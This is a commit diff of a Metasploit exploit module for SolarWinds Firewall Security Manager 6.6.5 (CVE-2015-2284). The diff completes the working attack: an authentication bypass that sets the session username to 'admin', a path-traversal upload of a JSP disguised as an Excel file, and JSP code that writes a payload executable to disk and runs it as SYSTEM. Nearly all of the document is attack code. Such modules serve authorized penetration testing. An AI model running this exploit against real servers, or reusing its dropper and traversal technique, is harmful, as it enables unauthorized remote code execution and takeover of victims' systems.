Skip to content

Commit 0b14a18

Browse files
committed
This is final
1 parent 0ee858c commit 0b14a18

File tree

1 file changed

+81
-15
lines changed

1 file changed

+81
-15
lines changed

modules/exploits/windows/http/solarwinds_fsm_userlogin.rb

Lines changed: 81 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
1010

1111
include Msf::Exploit::Remote::HttpClient
1212
include Msf::Exploit::EXE
13+
include Msf::Exploit::FileDropper
1314

1415
def initialize(info={})
1516
super(update_info(info,
@@ -19,30 +20,33 @@ def initialize(info={})
1920
6.6.5. The first vulnerability is an authentication bypass via the Change Advisor interface
2021
due to a user-controlled session.putValue API in userlogin.jsp, allowing the attacker to set
2122
the 'username' attribute before authentication. The second problem is that the settings-new.jsp
22-
file will only check the 'username' attribute before authorizing the 'uploadFile' action, which
23-
can be exploited and allows the attacker to upload a fake xls file to the server, and results
24-
in arbitrary code execution.
23+
file will only check the 'username' attribute before authorizing the 'uploadFile' action,
24+
which can be exploited and allows the attacker to upload a fake xls host list file to the
25+
server, and results in arbitrary code execution under the context of SYSTEM.
2526
2627
Depending on the installation, by default the Change Advisor web server is listening on port
2728
48080 for an express install. Otherwise, this service may appear on port 8080.
29+
30+
Solarwinds has released a fix for this vulnerability as FSM-v6.6.5-HotFix1.zip. You may
31+
download it from the module's References section.
2832
},
2933
'License' => MSF_LICENSE,
3034
'Author' =>
3135
[
3236
'rgod', # Original discovery
37+
'mr_me <steventhomasseeley[at]gmail.com>', # https://twitter.com/ae0n_
3338
'sinn3r' # Metasploit
3439
],
3540
'References' =>
3641
[
42+
['CVE', '2015-2284'],
3743
['OSVDB', '81634'],
44+
['ZDI', '15-107'],
45+
['URL', 'http://downloads.solarwinds.com/solarwinds/Release/HotFix/FSM-v6.6.5-HotFix1.zip']
3846
],
39-
'Payload' =>
40-
{
41-
'BadChars' => "\x00",
42-
},
4347
'DefaultOptions' =>
4448
{
45-
'RPORT' => 48080
49+
'RPORT' => 48080 # Could be 8080 too
4650
},
4751
'Platform' => 'win',
4852
'Targets' =>
@@ -78,24 +82,76 @@ def exploit
7882
fail_with(Failure::NotVulnerable, 'Target does not appear to be a Solarwinds Firewall Security Manager')
7983
end
8084

85+
# Stage 1 of the attack
86+
# 'admin' is there by default and you can't delete it
8187
username = 'admin'
8288
print_status("Auth bypass: Putting session value: username=#{username}")
8389
sid = put_session_value('admin')
8490
print_status("Your SID is: #{sid}")
8591

92+
# Stage 2 of the attack
93+
exe = generate_payload_exe(code: payload.encoded)
8694
filename = "#{Rex::Text.rand_text_alpha(5)}.jsp"
87-
malicious_file = get_jsp_payload
88-
print_status("Uploading file: #{filename}")
95+
# Because when we get a shell, we will be at:
96+
# C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice
97+
# So we have to adjust this filename in order to delete the file
98+
register_files_for_cleanup("../plugins/com.lisletech.athena.http.servlets_1.2/jsp/#{filename}")
99+
malicious_file = get_jsp_payload(exe, filename)
100+
print_status("Uploading file: #{filename} (#{exe.length} bytes)")
89101
upload_exec(sid, filename, malicious_file)
90102
end
91103

92104

93105
private
94106

95107

108+
# Returns a write-stager
109+
# I grabbed this from Juan's sonicwall_gms_uploaded.rb module
110+
def jsp_drop_bin(bin_data, output_file)
111+
jspraw = %Q|<%@ page import="java.io.*" %>\n|
112+
jspraw << %Q|<%\n|
113+
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
114+
115+
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
116+
117+
jspraw << %Q|int numbytes = data.length();\n|
118+
119+
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
120+
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
121+
jspraw << %Q|{\n|
122+
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
123+
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
124+
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
125+
jspraw << %Q| comb <<= 4;\n|
126+
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
127+
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
128+
jspraw << %Q|}\n|
129+
130+
jspraw << %Q|outputstream.write(bytes);\n|
131+
jspraw << %Q|outputstream.close();\n|
132+
jspraw << %Q|%>\n|
133+
134+
jspraw
135+
end
136+
137+
# Returns JSP that executes stuff
138+
# This is also from Juan's sonicwall_gms_uploaded.rb module
139+
def jsp_execute_command(command)
140+
jspraw = %Q|<%@ page import="java.io.*" %>\n|
141+
jspraw << %Q|<%\n|
142+
jspraw << %Q|try {\n|
143+
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|
144+
jspraw << %Q|} catch (IOException ioe) { }\n|
145+
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
146+
jspraw << %Q|%>\n|
147+
148+
jspraw
149+
end
150+
151+
96152
# Returns a JSP payload
97-
def get_jsp_payload
98-
'evil inside'
153+
def get_jsp_payload(exe, output_file)
154+
jsp_drop_bin(exe, output_file) + jsp_execute_command(output_file)
99155
end
100156

101157

@@ -108,7 +164,7 @@ def put_session_value(value)
108164
)
109165

110166
unless res
111-
fail_with(Failure::Unknown, 'The connection timed out while setting the session value')
167+
fail_with(Failure::Unknown, 'The connection timed out while setting the session value.')
112168
end
113169

114170
get_sid(res)
@@ -128,13 +184,14 @@ def upload_exec(sid, filename, malicious_file)
128184
res = upload_file(sid, filename, malicious_file)
129185

130186
if !res
131-
fail_with(Failure::Unknown, 'The connection timed out while uploading the malicious file')
187+
fail_with(Failure::Unknown, 'The connection timed out while uploading the malicious file.')
132188
elsif res && res.body.include?('java.lang.NoClassDefFoundError')
133189
print_status("Payload being treated as XLS, indicates a successful upload.")
134190
else
135-
print_status("Unsure of a successful upload, but we're going to try to execute anyway")
191+
print_status("Unsure of a successful upload.")
136192
end
137193

194+
print_status("Attempting to execute the payload.")
138195
exec_file(sid, filename)
139196
end
140197

@@ -143,6 +200,10 @@ def upload_exec(sid, filename, malicious_file)
143200
# By default, the file will be saved at the following location:
144201
# C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\reports\tickets\
145202
def upload_file(sid, filename, malicious_file)
203+
# Put our payload in:
204+
# C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\jsp\
205+
filename = "../../jsp/#{filename}"
206+
146207
mime_data = Rex::MIME::Message.new
147208
mime_data.add_part(malicious_file, 'application/vnd.ms-excel', nil, "name=\"file\"; filename=\"#{filename}\"")
148209
mime_data.add_part('uploadFile', nil, nil, 'name="action"')
@@ -163,7 +224,12 @@ def upload_file(sid, filename, malicious_file)
163224

164225

165226
# Executes the malicious file and get code execution
227+
# We will be at this location:
228+
# C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice
166229
def exec_file(sid, filename)
230+
send_request_cgi(
231+
'uri' => normalize_uri(target_uri.path, 'fsm', filename)
232+
)
167233
end
168234

169235

0 commit comments

Comments
 (0)